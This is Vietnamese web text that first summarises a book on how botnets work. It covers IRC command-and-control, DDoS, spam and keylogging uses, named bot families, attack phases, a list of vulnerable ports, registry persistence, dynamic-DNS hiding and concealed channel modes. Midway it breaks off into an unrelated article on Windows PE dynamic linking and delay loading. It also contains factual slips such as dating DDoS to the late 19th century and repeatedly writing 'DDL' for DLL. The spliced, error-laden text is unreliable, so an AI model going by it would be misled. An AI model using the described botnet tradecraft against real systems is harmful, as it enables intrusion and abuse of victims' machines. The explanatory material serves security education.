Tác giả của cuốn “Các cuộc chiến robot - Botnet hoạt động như thế nào” mà chúng ta vừa xem xét một phần nội dung của nó qua bài này là một nhóm ba người: Massimiliano Romano, Simone Rosignoli, Ennio Giannini. Nếu có điều kiện và bạn đọc nào có nhu cầu tìm hiểu chuyên sâu hơn về những nội dung thú vị trong cuốn sách này, bạn có thể mua trên eBay hoặc tìm kiếm từ nguồn Internet phong phú. Và dưới đây là đôi điều về tác giả của cuốn sách này:

Massimiliano Romano: sở thích của ông là khoa học máy tính và mạng. Ông làm việc với vai trò nhân viên tự do ở một trong các công ty điện thoại di động lớn nhất Italia. Ông bỏ ra rất nhiều thời gian vào Ham Radio, đầu tư nghiên cứu và giải mã các tín hiệu radio số.

Simone Rosignoli hiện đang là sinh viên trường đại học La Sapienza ở Rome. Anh đang theo đuổi bằng Công nghệ khoa học máy tính (bảo mật và hệ thống) ở trường. Sở thích của chàng sinh viên này là lập trình bảo mật máy tính. Quả thât, “nhân tài không đợi tuổi”!

Ennio Giannini làm việc với vai trò như một chuyên gia phân tích hệ thống. Anh sử dụng nhiều thời gian rảnh rỗi của mình vào các cuộc thử nghiệm trong môi trường GNU/Linux. Anh là một người hỗ trợ và tổ chức nguồn mở tích cực và mạnh mẽ.

Botnet hoạt động như thế nào ?

Một trong những phương thức tấn công DDoS hiệu quả và phổ biến nhất hiện nay là hoạt động dựa trên hàng trăm máy tính bị chiếm quyền điều khiển (tức các zombie). Những zombie này thường bị kiểm soát và quản lý qua các mạng IRC, sử dụng được gọi là các botnet. Ở bài này chúng ta sẽ xem xét một số cách thức tin tặc có thể dùng để tấn công và chiếm quyền điều khiển máy tính đích, cùng một số biện pháp đối phó hiệu quả nhằm bảo vệ máy tính trước những mối đe doạ nguy hiểm luôn rình rập xung quanh.

Chúng ta sẽ tìm hiểu về:

• Như thế nào là bot, botnet; cách thức hoạt động của chúng.
• Những thành phần phổ biến nhất trong bot.
• Một host có thể bị tấn công và chiếm quyền điều khiển như thế nào.
• Biện pháp ngăn chặn hiệu quả và cách đối phó trước hoạt động phá hoại của chúng.

Điều gì bạn nên biết?

• Cách thức hoạt động của phần mềm độc hại (malware) như trojan, worm, ….
• Cơ chế được dùng trong kiểu tấn công DDoS.
• Hiểu các khái niệm cơ bản của TCP/IP, DNS và IRC.










Các cuộc chiến robot - Botnet hoạt động như thế nào”, là tên một cuốn sách viết về thế giới hacker (nguyên bản tiếng Anh: Robot Wars - How Botnets Work, tác giả Massimiliano Romano, Simone Rosignoli, Ennio Giannini).


Cuối thế kỷ 19 cũng như đầu thiên niên kỷ mới đánh dấu bước phát triển nhanh, mạnh của một số chiến lược tấn công khác biệt nhắm vào hệ thống mạng. DDoS, tức Distributed Denial of Services, hình thức tấn công từ chối dịch vụ phân tán khét tiếng ra đời. Tương tự với người anh em DoS (tấn công từ chối dịch vụ), DDoS được phát tán rất rộng, chủ yếu nhờ tính đơn giản nhưng rất khó bị dò tìm của chúng. Đã có nhiều kinh nghiệm đối phó được chia sẻ, với khối lượng kiến thức không nhỏ về nó, nhưng ngày nay DDoS vẫn đang là một mối đe doạ nghiêm trọng, một công cụ nguy hiểm của hacker. Chúng ta hãy cùng tìm hiểu về DDoS và sản phẩm kế thừa từ nó: các cuộc tấn công botnet.

Giới thiệu về Bot và Botnet

Bot là viết tắt của robot, tức các chương trình tự động hoá (chứ không phải là người máy như nghĩa chúng ta vẫn gọi) thường xuyên được sử dụng trong thế giới Internet. Người ta định nghĩa spider được dùng bởi các công cụ tìm kiếm trực tuyến, ánh xạ website và phần mềm đáp ứng theo yêu cầu trên IRC (như eggdrop) là robot. Các chương trình tự động phản ứng khi gặp sự kiện ngoài mạng nội bộ cũng được gọi là robot. Trong bài này, chúng ta sẽ quan tâm tới một kiểu robot cụ thể (hay bot như tên tắt vẫn thường được gọi) là IRC bot. IRC bot sử dụng các mạng IRC như một kênh liên lạc để nhận lệnh từ người dùng từ xa. Ví dụ cụ thể như, người dùng là một kẻ tấn công, còn bot là một Trojan horse. Một lập trình viên giỏi có thể dễ dàng tạo ra một số bot riêng của mình, hoặc xây dựng lại từ các bot có sẵn. Chúng có thể dễ dàng ẩn nấp trước những hệ thống bảo mật cơ bản, sau đó là phát tán đi nhanh chóng trong thời gian ngắn.

IRC

IRC là tên viết tắt của Internet Relay Chat. Đó là một giao thức được thiết kế cho hoạt động liên lạc theo kiểu hình thức tán gẫu thời gian thực (ví dụ RFC 1459, các bản update RFC 2810, 2811, 2812, 2813) dựa trên kiến trúc client-server. Hầu hết mọi server IRC đều cho phép truy cập miễn phí, không kể đối tượng sử dụng. IRC là một giao thức mạng mở dựa trên nền tảng TCP (Transmission Control Protocol - Giao thức điều khiển truyền vận), đôi khi được nâng cao với SSL (Secure Sockets Layer - Tầng socket bảo mật).

Một server IRC kết nối với server IRC khác trong cùng một mạng. Người dùng IRC có thể liên lạc với cả hai theo hình thức công cộng (trên các kênh) hoặc riêng tư (một đối một). Có hai mức truy cập cơ bản vào kênh IRC: mức người dùng (user) và mức điều hành (operator). Người dùng nào tạo một kênh liên lạc riêng sẽ trở thành người điều hành. Một điều hành viên có nhiều đặc quyền hơn (tuỳ thuộc vào từng kiểu chế độ do người điều hành ban đầu thiết lập ) so với người dùng thông thường.

Các bot IRC được coi như một người dùng (hoặc điều hành viên) thông thường. Chúng là các quy trình daemon, có thể chạy tự động một số thao tác. Quá trình điều khiển các bot này thông thường dựa trên việc gửi lệnh để thiết lập kênh liên lạc do hacker thực hiện, với mục đích chính là phá hoại. Tất nhiên, việc quản trị bot cũng đòi hỏi cơ chế thẩm định và cấp phép. Vì thế, chỉ có chủ sở hữu chúng mới có thể sử dụng.

Một thành phần quan trọng của các bot này là những sự kiện mà chúng có thể dùng để phát tán nhanh chóng tới máy tính khác. Xây dựng kế hoạch cần thận cho chương trình tấn công sẽ giúp thu được kết quả tốt hơn với thời gian ngắn hơn (như xâm phạm được nhiều máy tính hơn chẳng hạn). Một số n bot kết nối vào một kênh đơn để chờ lệnh từ kẻ tấn công thì được gọi là một botnet.

Cách đây chưa lâu, các mạng zombie (một tên khác của máy tính bị tấn công theo kiểu bot) thường được điều khiển qua công cụ độc quyền, do chính những kẻ chuyên bẻ khoá cố tình phát triển. Trải qua thời gian, chúng hướng tới phương thức điều khiển từ xa. IRC được xem là công cụ phát động các cuộc tấn công tốt nhất nhờ tính linh hoạt, dễ sử dụng và đặc biệt là các server chung có thể được dùng như một phương tiện liên lạc. IRC cung cấp cách thức điều khiển đơn giản hàng trăm, thậm chí hàng nghìn bot cùng lúc một cách linh hoạt. Nó cũng cho phép kẻ tấn công che đậy nhân dạng thật của mình với một số thủ thuật đơn giản như sử dụng proxy nặc danh hay giả mạo địa chỉ IP. Song cũng chính bởi vậy mà chúng để lại dấu vết cho người quản trị server lần theo.

Trong hầu hết các trường hợp tấn công bởi bot, nạn nhân chủ yếu là người dùng máy tính đơn lẻ, server ở các trường đại học hoặc mạng doanh nghiệp nhỏ. Lý do là bởi máy tính ở những nơi này không được giám sát chặt chẽ và thường để hở hoàn toàn lớp bảo vệ mạng. Những đối tượng người dùng này thường không xây dựng cho mình chính sách bảo mật, hoặc nếu có thì không hoàn chỉnh, chỉ cục bộ ở một số phần. Hầu hết người dùng máy tính cá nhân kết nối đường truyền ADSL đều không nhận thức được các mối nguy hiểm xung quanh và không sử dụng phần mềm bảo vệ như các công cụ diệt virus hay tường lửa cá nhân.

Bot và các ứng dụng của chúng

Khả năng sử dụng bot và các ứng dụng của chúng cho máy tính bị chiếm quyền điều khiển hoàn toàn phụ thuộc vào sức sáng tạo và kỹ năng của kẻ tấn công. Chúng ta hãy xem một số ứng dụng phổ biến nhất.

DDoS

Các botnet được sử dụng thường xuyên trong các cuộc tấn công Distributed Denial of Service (DDoS). Một kẻ tấn công có thể điều khiển số lượng lớn máy tính bị chiểm quyền điều khiển tại một trạm từ xa, khai thác băng thông của chúng và gửi yêu cầu kết nối tới máy đích. Nhiều mạng trở nên hết sức tồi tệ sau khi hứng chịu các cuộc tấn công kiểu này. Và trong một số trường hợp, thủ phạm được tìm thấy ngay khi đang tiến hành cuộc phá hoại (như ở các cuộc chiến dotcom).

Tấn công từ chối dịch vụ phân tán (DDoS)

Tấn công DDoS là một biến thể của Foolding DoS (Tấn công từ chối dịch vụ tràn). Mục đích của hình thức này là gây tràn mạng đích, sử dụng tất cả băng thông có thể. Kẻ tấn công sau đó sẽ có toàn bộ lượng băng thông khổng lồ trên mạng để làm tràn website đích. Đó là cách phát động tấn công tốt nhất để đặt được nhiều máy tính dưới quyền kiểm soát. Mỗi máy tính sẽ đưa ra băng thông riêng (ví dụ với người dùng PC cá nhân nối ADSL). Tất cả sẽ được dùng một lần, và nhờ đó, phân tán được cuộc tấn công vào website đích. Một trong các kiểu tấn công phổ biến nhất được thực hiện thông qua sử dụng giao thức TCP (một giao thức hướng kết nối), gọi là TCP syn flooding (tràn đồng bộ TCP). Cách thức hoạt động của chúng là gửi đồng thời cùng lúc một số lượng khổng lồ yêu cầu kết nối TCP tới một Web Server (hoặc bất kỳ dịch vụ nào khác), gây tràn tài nguyên server, dẫn đến tràn băng thông và ngăn không cho người dùng khác mở kết nối riêng của họ. Quả là đơn giản nhưng thực sự nguy hiểm! Kết quả thu được cũng tương tự khi dùng giao thức UDP (một giao thức không kết nối).

Giới tin tặc cũng bỏ ra khá nhiều thời gian và công sức đầu tư nhằm nâng cao cách thức tấn công của chúng. Hiện nay, người dùng mạng máy tính như chúng ta đang phải đối mặt với nhiều kỹ thuật tinh vi hơn xa so kiểu tấn công DDoS truyền thống. Những kỹ thuật này cho phép kẻ tấn công điều khiển một số lượng cực kỳ lớn máy tính bị chiếm quyền điều khiển (zombie) tại một trạm từ xa mà đơn giản chỉ cần dùng giao thức IRC.

Spamming (phát tán thư rác)

Botnet là một công cụ lý tưởng cho các spammer (kẻ phát tán thư rác). Chúng đã, đang và sẽ được dùng vừa để trao đổi địa chỉ e-mail thu thập được, vừa để điều khiển cơ chế phát tán thư rác theo cùng một cách với kiểu tấn công DDoS. Thư rác được gửi tới botnet, sau đó phân phối qua các bot và từ đó phát tán tới máy tính đang bị chiếm quyền điều khiển. Tất cả spammer đều lấy tên nặc danh và mọi hậu quả thì máy tính bị phá hoại gánh chịu.

Sniffing và Keylogging

Các bot cũng có thể được sử dụng một cách hiệu quả để nâng cao nghệ thuật cổ điển của hoạt động sniffing. Nếu theo dõi lưu lượng dữ liệu truyền đi, bạn có thể xác định được con số khó tin lượng thông tin được truyền tải. Đó có thể là thói quen của người dùng, trọng tải gói TCP và một số thông tin thú vị khác (như mật khẩu, tên người dùng). Cũng tương tự như vậy với keylogging, một hình thức thu thập tất cả thông tin trên bàn phím khi người dùng gõ vào máy tính (như e-mail, password, dữ liệu ngân hàng, tài khoản PayPal,…).

Ăn cắp nhân dạng

Các phương thức được đề cập ở trên cho phép kẻ tấn công điều khiển botnet để thu thập một lượng thông tin cá nhân khổng lồ. Những dữ liệu có thể được dùng để xây dựng nhân dạng giả mạo, sau đó lợi dụng để có thể truy cập tài khoản cá nhân hoặc thực hiện nhiều hoạt động khác (có thể là chuẩn bị cho nhiều cuộc tấn công khác) mà người gánh chịu hậu quả không ai khác chính là chủ nhân của các thông tin đó.

Sở hữu phần mềm bất hợp pháp

Đây là hình thức cuối cùng, nhưng chưa phải là kết thúc. Các máy tính bị tấn công theo kiểu bot có thể được dùng như một kho lưu trữ động tài liệu bất hợp pháp (phần mềm ăn cắp bản quyền, tranh ảnh khiêu dâm,…). Dữ liệu được lưu trữ trên ổ cứng trong khi người dùng ADSL không hề hay biết.

Còn rất nhiều, rất nhiều kiểu ứng dụng khác nữa được phát triển dựa trên botnet (như trả tiền cho mỗi lần kích chuột để sử dụng một chương trình, phishing, hijacking kết nối HTTP/HTTPS…), nhưng liệt kê ra được hết có lẽ sẽ phải mất hàng giờ. Bản thân bot chỉ là một công cụ với khả năng lắp ghép và thích ứng dễ dàng cho mọi hoạt động đòi hỏi đặt quyền kiểm soát đơn lên một số lượng lớn máy tính.

Các kiểu bot khác nhau

Nhiều kiểu bot đã được xây dựng và cho phép download được cung cấp nhan nhản khắp Internet. Mỗi kiểu có những thành phần đặc biệt riêng. Chúng ta sẽ xem xét một số bot phổ biến nhất và thảo những thành phần chính và các yếu tố phân biệt của chúng.

GT-Bot

Tất cả các bot GT (Global Threat) đều dựa trên kiểu client IRC phổ biến dành cho Windows gọi là mIRC. Cốt lõi của các bot này là xây dựng tập hợp script (kịch bản) mIRC, được dùng để điểu khiển hoạt động của hệ thống từ xa. Kiểu bot này khởi chạy một phiên client nâng cao với các script điều khiển và dùng một ứng dụng thứ hai, thông thường là HideWindows để ẩn mIRC trước người dùng máy tính đích. Một file DLL bổ sung sẽ thêm một số thành phần mới vào mIRC để các script có thể chi phối nhiều khía cạnh khác nhau trên máy tính bị chiếm quyền điều khiển.

Agobot

Agobot là một trong những kiểu bot phổ biến nhất thường được các tay bẻ khoá (craker) chuyên nghiệp sử dụng. Chúng được viết trên nền ngôn ngữ C++ và phát hành dưới dạng bản quyền GPL. Điểm thú vị ở Agobot là mã nguồn. Được modul hoá ở mức cao, Agobot cho phép thêm chức năng mới vào dễ dàng. Nó cũng cung cấp nhiều cơ chế ẩn mình trên máy tính người dùng. Thành phần chính của Agobot gồm: NTFS Alternate Data Stream (Xếp luân phiên dòng dữ liệu NTFS), Antivirus Killer (bộ diệt chương trình chống virus) và Polymorphic Encryptor Engine (cơ chế mã hoá hình dạng). Agobot cung cấp tính năng sắp xếp và sniff lưu lượng. Các giao thức khác ngoài IRC cũng có thể được dùng để điều khiển kiểu bot này.

DSNX

Dataspy Network X (DSNX) cũng được viết trên nền ngồn ngữ C++ và mã nguồn dựa trên bản quyền GPL. Ở kiểu bot này có thêm một tính năng mới là kiến trúc plug-in đơn giản.

SDBot

SDBot được viết trên nền ngôn ngữ C và cũng sử dụng bản quyền GPL. Không giống như Agobot, mã nguồn của kiểu bot này rất rõ ràng và bản thân phần mềm có một lượng giới hạn chức năng. Nhưng SDBot rất phổ biến và đã được phát triển ra nhiều dạng biến thể khác nhau.

Các yếu tố của một cuộc tấn công

Hình 1 thể hiện cấu trúc của một botnet điển hình:




Hình 1
: Cấu trúc của một botnet điển hình


• Đầu tiên kẻ tấn công sẽ phát tán trojan horse vào nhiều máy tính khác nhau. Các máy tính này trở thành zombie (máy tính bị chiếm quyền điều khiển) và kết nối tới IRC server để nghe thêm nhiều lệnh sắp tới.

• Server IRC có thể là một máy công cộng ở một trong các mạng IRC, nhưng cũng có thể là máy chuyên dụng do kẻ tấn công cài đặt lên một trong các máy bị chiếm quyền điều khiển.

• Các bot chạy trên máy tính bị chiếm quyền điều khiển, hình thành một botnet.

Một ví dụ cụ thể

Hoạt động của kẻ tấn công có thể chia thành bốn giai đoạn khác nhau:




  • Tạo




  • Cấu hình



  • Tấn công



  • Điều khiển




Giai đoạn Tạo phụ thuộc lớn vào kỹ năng và đòi hỏi của kẻ tấn công. Nếu là người bẻ khoá chuyên nghiệp, họ có thể cân nhắc giữa việc viết mã bot riêng hoặc đơn giản chỉ là mở rộng, tuỳ biến cái đã có. Lượng bot có sẵn là rất lớn và khả năng cấu hình cao. Một số còn cho phép thao tác dễ dàng hơn qua một giao diện đồ hoạ. Giai đoạn này không có gì khó khăn, thường dành cho những kẻ mới vào nghề.

Giai đoạn Cấu hình là cung cấp server IRC và kênh thông tin. Sau khi cài đặt lên một máy tính đã được kiểm soát, bot sẽ kết nối tới host được chọn. Đầu tiên kẻ tấn công nhập dữ liệu cần thiết vào để giới hạn quyền truy cập bot, bảo vệ an toàn cho kênh và cuối cùng cung cấp một danh sách người dùng được cấp phép (những người có thể điều khiển bot). Ở giai đoạn này, bot có thể được điều chỉnh sâu hơn, như định nghĩa phương thức tấn công và đích đến.

Giai đoạn Tấn công là sử dụng nhiều kỹ thuật khác nhau để phát tán bot, cả trực tiếp và gián tiếp. Hình thức trực tiếp có thể là khai thác lỗ hổng của hệ điều hành hoặc dịch vụ. Còn gián tiếp thường là triển khai một số phần mềm khác phục vụ cho công việc đen tối, như sử dụng file HTML dị dạng để khai thác lỗ hổng Internet Explorer, sử dụng một số phần mềm độc hại khác phân phối qua các mạng ngang hàng hoặc qua trao đổi file DCC (Direct Client–to–Client) trên IRC. Tấn công trực tiếp thường được thực hiện tự động thông qua các sâu (worm). Tất cả công việc những sâu này phải làm là tìm kiếm mạng con trong hệ thống có lỗ hổng và chèn mã bot vào. Mỗi hệ thống bị xâm phạm sau đó sẽ tiếp tục thực hiện chương trình tấn công, cho phép kẻ tấn công ghi lại tài nguyên đã dùng trước đó và có được nhiều thời gian để tìm kiếm nạn nhân khác.

Cơ chế được dùng để phân phối bot là một trong những lý do chính gây nên cái gọi là tạp nhiễu nền Internet. Một số cổng chính được dùng cho Windows, cụ thể là Windows 2000, XP SP1 (xem Bảng 1). Chúng dường như là đích ngắm yêu thích của hacker, vì rất dễ tìm ra một máy tính Windows chưa được cập nhật bản vá đầy đủ hoặc không cài đặt phần mềm tường lửa. Trường hợp này cũng rất phổ biến với người dùng máy tính gia đình và các doanh nghiệp nhỏ, những đồi tượng thường bỏ qua vấn đề bảo mật và luôn kết nối Internet băng thông rộng.


































































Cổng Dịch vụ
42 WINS (Host Name Server)
80 HTTP (lỗ hổng IIS hay Apache)
135 RPC (Remote Procedure Call)
137 NetBIOS Name Service
139 NetBIOS Session Service
445 Microsoft–DS–Service
1025 Windows Messenger
1433 Microsoft–SQL–Server
2745 Bagle worm backdoor
3127 MyDoom worm backdoor
3306 MySQL UDF (User Definable Functions)
5000  UPnP (Universal Plug and Play)


Bảng 1: Danh sách các cổng gắn với lỗ hổng dịch vụ



Giai đoạn Điều khiển gồm một số hoạt động thực hiện sau khi bot đã được cài đặt lên máy đích trong một thư mục chọn. Để khởi động với Windows, bot update các khoá đăng ký, thông thường là HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\. Việc đầu tiên bot thực hiện sau khi được cài đặt thành công là kết nối tới một server IRC và liên kết với kênh điều khiển thông qua sử dụng một mật khẩu. Nickname trên IRC được tạo ngẫu nhiên. Sau đó, bot ở trạng thái sẵn sàng chờ lệnh từ ứng dụng chủ. Kẻ tấn công cũng phải sử dụng một mật khẩu để kết nối tới botnet. Điều này là cần thiết để không ai khác có thể sử dụng mạng botnet đã được cung cấp.



Hình 2
: Kỹ thuật botnet hardening


IRC không chỉ cung cấp phương tiện điều khiển hàng trăm bot mà còn cho phép kẻ tấn công sử dụng nhiều kỹ thuật khác nhau để ẩn nhân dạng thực của chúng. Điều đó khiến việc đối phó trước các cuộc tấn công trở nên khó khăn. Nhưng may mắn là, do đặc điểm tự nhiên của chúng, các botnet luôn tạo ra lưu lượng đáng ngờ, tạo điều kiện dễ dàng để có thể dò tìm nhờ một số kiểu mẫu hay mô hình đã biết. Điều đó giúp các quản trị viên IRC phát hiện và can thiệp kịp thời, cho phép họ gỡ bỏ các mạng botnet và những sự lạm dụng không đáng có trên hệ thống của họ.

Trước tình hình này, những kẻ tấn công buộc phải nghĩ ra cách thức khác, cải tiến kỹ thuật C&C (Control and Command - Điều khiển qua lệnh) thành botnet hardening. Ở kỹ thuật mới này, các bot thường được cấu hình để kết nối với nhiều server khác nhau, sử dụng một hostname ánh xạ động. Nhờ đó, kẻ tấn công có thể chuyển bot sang server mới dễ dàng, vẫn hoàn toàn nắm quyền kiểm soát ngay cả khi bot đã bị phát hiện. Các dịch vụ DNS động như dyndns.com hay no-IP.com thường được dùng trong kiểu tấn công này.

DNS động

Một DNS động (như RFC 2136) là một hệ thống liên kết tên miền với địa chỉ IP động. Người dùng kết nối Internet qua modem, ADSL hoặc cáp thường không có địa chỉ IP cố định. Khi một đối tượng người dùng kết nối tới Internet, nhà cung cấp dịch vụ mạng (ISP) sẽ gán một địa chỉ IP chưa được sử dụng lấy ra từ vùng được chọn. Địa chỉ này thường được giữ nguyên cho tới khi người dùng ngừng sử dụng kết nối đó.

Cơ chế này giúp các hãng cung cấp dịch vụ mạng (ISP) tận dụng được tối đa khả năng khai thác địa chỉ IP, nhưng cản trở đối tượng người dùng cần thực hiện một số dịch vụ nào đó qua mạng Internet trong thời gian dài, song không phải sử dụng địa chỉ IP tĩnh. Để giải quyết vấn đề này, DNS động được cho ra đời. Hãng cung cấp sẽ tạo cho dịch vụ một chương trình chuyên dụng, gửi tín hiệu tới cơ sở dữ liệu DNS mỗi khi địa chỉ IP của người dùng thay đổi.

Để ẩn hoạt động, kênh IRC được cấu hình giới hạn quyền truy cập và ẩn thao tác. Các mô hình IRC điển hình cho kênh botnet là: +k (đòi hỏi phải nhập mật khẩu khi dùng kênh); +s (không được hiển thị trên danh sách các kênh công cộng); +u (chỉ có người điều hành (operator) là được hiển thị trên danh sách người dùng); +m (chỉ có người dùng ở trạng thái sử dụng âm thanh +v mới có thể gửi tin đến kênh). Hầu hết mọi chuyên gia tấn công đều dùng server IRC cá nhân, mã hoá tất cả liên lạc trên kênh dẫn. Chúng cũng có khuynh hướng sử dụng nhiều biến thể cá nhân hoá của phần mềm IRC server, được cấu hình để nghe trên các cổng ngoài tiêu chuẩn và sử dụng phiên bản đã được chỉnh sửa của giao thức, để một IRC client thông thường không thể kết nối vào mạng.

Liên kết động trong Linux và Windows (phần II)

Bài này thảo luận khái niệm thư viện chia sẻ trong cả Windows và Linux. Đồng thời cũng lướt qua các kiểu cấu trúc dữ liệu khác nhau để giải thích liên kết động làm việc như thế nào trong các hệ điều hành này. Bài này rất hữu ích cho các nhà phát triển hứng thú nghiên cứu vấn đề về hàm ẩn bảo mật, liên quan tới tốc độ liên kết động. Và cũng khẳng định một số kiến thức cơ bản về liên kết động đã được đưa ra trước đây.

Phần một giới thiệu các khái niệm cho cả Linux và Windows, trong đó tập trung chủ yếu vào Linux. Bây giờ trong phần hai chúng ta sẽ xem xét liên kết động hoạt động như thế nào trong Windows và tiến tới so sánh hai môi trường với nhau. Các bạn nên xem lại phần một trước khi tiếp tục với phần hai này.

Cấu trúc dữ liệu Windows Portable Executable File Format (PE)

Chúng ta biết rằng một section (phân đoạn) là một đoạn mã lệnh hay dữ liệu hợp logic với nhau, và dữ liệu cho một bảng nhập thực thi thì nằm trong một section. Trong phần này chúng ta sẽ xem xét một số section trong các file Windows PE.

Exports section (.edata)

Section “.edata” bắt đầu với cấu trúc thư mục xuất IMAGE_EXPORT_DIRECTORY. Thư mục xuất bao gồm RVAs (relative virtual addresses - địa chỉ ảo quan hệ) của Bảng địa chỉ xuất. Bảng này bao gồm địa chỉ của các điểm vào xuất, dữ liệu xuất và tuyệt đối. Một dãy số thứ tự được dùng để đánh chỉ mục cho bảng địa chỉ. Cơ sở thứ tự (Ordinal Base) phải được trừ cho các số thứ tự trước khi đánh chỉ mục vào bảng.

Export Name Table Pointers (Các con trỏ bảng tên xuất): mảng này chứa địa chỉ trong bảng tên xuất. Các con trỏ liên quan tới cớ sở hình ảnh và được sắp xếp theo thứ tự từ vựng để tìm kiếm nhị phân. Export Name Table bao gồm các tên theo chuẩn ASCII của các điểm vào xuất khẩu hình ảnh.

Export Ordinal Table (Bảng thứ tự xuất): các con trỏ bảng tên xuất khẩu và bảng thứ tự xuất khẩu tạo thành hai mảng song song. Mảng bảng thứ tự xuất bao gồm thứ tự kết hợp với tên xuất được trỏ bởi các con trỏ bảng tên xuất. Thứ tự sẽ được dùng như là chỉ mục trong EAT.

Imports Section(.idata)

Section “.idata” là ngược lại với section e.data mô tả ở trên. Nó bản đồ hoá các symbol hoặc thứ tự trở lại RVAs. Phân đoạn i.data bắt đầu với một bảng thư mục nhập IMAGE_IMPORT_DIRECTORY. Bảng thư mục nhập này bao gồm một mảng cấu trúc IMAGE_IMPORT_DESCRIPTOR. Trong đó mỗi phần tử tương ứng với một thực thi. IMAGE_IMPORT_DESCRIPTOR bao gồm RVAs của:

Import Lookup Table (Bảng tra tìm nhập): đây là mảng của cấu trúc IMAGE_THUNK_DATA. Cấu trúc này bao gồm thứ tự hay hint (gợi ý) hoặc tên của mỗi hàm nhập. Bảng nhận dạng các ký tự nhập khẩu, với điểm vào trong Bảng tra tìm nhập khẩu là song song với điểm vào trong Bảng địa chỉ nhập (Import Address Table - IAT). Nếu bit cao của điểm vào được thiết lập, các bit thấp sẽ là thứ tự. Nếu không thì điểm vào là một RVA của đầu vào trong bảng hint-name.

Import Address Table (Bảng điạ chỉ nhập): đây cũng là một mảng của cấu trúc IMAGE_THUNK_DATA. Ban đầu cả Bảng tra tìm nhập khẩu và Bảng địa chỉ nhập khẩu chứa các điểm vào tương tự nhau. Bộ nạp có tác dụng điền địa chỉ cho các chu trình nhập trong bảng này, trong khi đó các mục trong Import Lookup Table giữ lại dữ liệu gốc như trước. Chúng ta sẽ xem vì sao mối liên kết lại duy trì thông tin gốc muộn hơn khi chúng ta nói đến sự liên kết.

Hint-name Table (Bảng gợi ý-tên): Bảng bao gồm một hint (gợi ý) 4 byte theo sau tên với ký tự kết thúc là null. Giá trị hint được dùng để đánh chỉ mục cho mảng Con trỏ bảng tên xuất khẩu, cho phép nhanh hơn là nhập bằng tên. Hint sẽ chính xác nếu DDL không thay đổi hay ít nhất là danh sách ký tự xuất khẩu của nó không thay đổi. Nếu hint không chính xác thì việc tìm kiếm nhị phân sẽ diễn ra trên bảng Export Name Pointer.

Cách thức hoạt động

Nạp một thực thi Windows và DDL cũng tương tự như nạp một chương trình ELF liên kết động trong Linux. Sự khác nhau là, ở đây mối liên kết là một phần của bản thân nhân kernel. Đầu tiên nhân kernel sẽ bản đồ hoá một thực thi dẫn bởi tiêu đề của PE. Bộ nạp xem xét IAT của modul và do tìm xem liệu DDL có phụ thuộc vào phần thêm DDLs hay không. Nếu có thì bộ nạp cũng bản đồ hoá chúng. Tiến trình này tiếp tục cho đến khi tất cả modul phụ thuộc đã được bản đồ hoá vào bộ nhớ.

Một hàm nhập có thể được lập danh sách theo tên hoặc theo số thứ tự. Thứ tự thể hiện vị trí của nó trong Bảng địa chỉ xuất khẩu DDL. Nếu lập danh sách bằng tên, bộ nạp thực hiện cuộc tìm kiếm nhị phân trong Bảng con trỏ tên xuất khẩu của DDL tương ứng để tra tìm chỉ mục của ký tự đã biết. Sau đó nó dùng chỉ mục này như là chỉ mục trong Bảng thứ tự xuất khẩu để lấy ra thứ tự. Sau đó thứ tự này trả ra giá trị được dùng như chỉ mục trong Bảng địa chỉ xuất khẩu. Việc thêm RVA của ký tự tìm thấy trong bảng EAT thành địa chỉ nạp của DDL tương ứng tạo ra điạ chỉ tuyệt đối mà bộ nạp ghi trong mục tương ứng của bảng IAT.

Nạp trễ trong Windows

Một DDL nạp trễ có cấu trúc ImgDelayDescr tương tự cấu trúc thư mục nhập khẩu .idata, nhưng nó không nằm trong phân đoạn .idata. ImgDelayDescr bao gồm điạ chỉ của một IAT và một INT cho DDL. Những bảng này giống hệt định dạng của các bảng nhập thông thường khác. Nhưng chúng được ghi và đọc bởi mã thư viện thời gian thực hơn là bởi hệ điều hành. Khi lần đầu tiên bạn gọi một API từ một DDL nạp trễ, thư viện thời gian thực nạp DDL (nếu cần), lấy địa chỉ và lưu trữ nó trong IAT nạp trễ để sau này gọi trực tiếp tới API.

Sơ bộ về Windows lazy linking procedure

Trong phần này chúng ta sẽ nói về mối liên kết thực hiện định nghĩa cho địa chỉ hàm trong một DDL nạp trễ như thế nào, cũng như ngữ nghĩa của việc tạo các cuộc gọi hàm, nơi hàm được định nghĩa trong DDL.




Hình 7.
Mối liên kết giải quyết địa chỉ hàm trong một DDL nạp trễ.


Trong trường hợp trên fndll1() được định nghĩa bên trong d111(delay load)fndll2 được định nghĩa bên trong d112. Nếu bạn chú ý các khai báo, fndll1() đã được khai báo rõ ràng là __declspec(dllimport). Bộ sửa đổi hàm __declspec(dllimport) nói rằng trình biên dịch mà hàm đang cư trú nằm trong một DDL khác. Trình biên dịch cần mã CALL DWORD PTR [xxxx] cluegenerate, trong đó [xxxx] là một mục trong bảng IAT.




Hình 8.
Trình biên dịch tạo mã CALL DWORD PTR [xxxx], trong đó xxxx là một điểm vào trong IAT.


Trong trường hợp của fndll2(), trình biên dịch đưa ra một lệnh gọi với dạng CALL xxxxx, trong đó xxxxx trỏ tới một gốc. Kêt quả là một làm mất thêm thời gian để thực thi.



Hình 9.
Lệnh nhảy thêm làm mất thêm thời gian để thực thi



Như đã chỉ ra trong hình 8, fndll1() gọi một kết quả trong CALL DWORD PTR[0x412760]. Sau đó 0x412760 là điạ chỉ của điểm vào đầu tiên trong bảng địa chỉ Delayimport như được chỉ ra trong hình 10:



Hình 10.
Tìm kiếm địa chỉ của đỉêm vào đầu tiên trong bảng Delayimport.



Điểm vào này trỏ tới một thường trình giúp đỡ tìm và nạp trong DDL và sau đó thay thế nội dung của bảng địa chỉ bằng địa chỉ thực.



Hình 11.



Hình 12.


Như bạn có thể thấy ở trên, địa chỉ 0x412760 được trỏ trước 0x40104b, là địa chỉ của thường trình giúp đỡ, bị bộ nạp ghi đè thành 0x351070, điạ chỉ của fndll1 như hình 13 sau:



Hình 13.
Địa chỉ thường trình giúp đỡ bị ghi đè.


Bên trong trình giúp đỡ nạp trễ

Windows cho phép bạn nạp thêm thường trình giúp đỡ nạp trễ của riêng bạn. Bây giờ chúng ta sẽ tìm hiểu đặc trưng bên trong của thường trình giúp đỡ. Các bạn nên chú ý sự tương tự của thủ tục liên kết lười biếng với phần đếm của nó trong Linux.

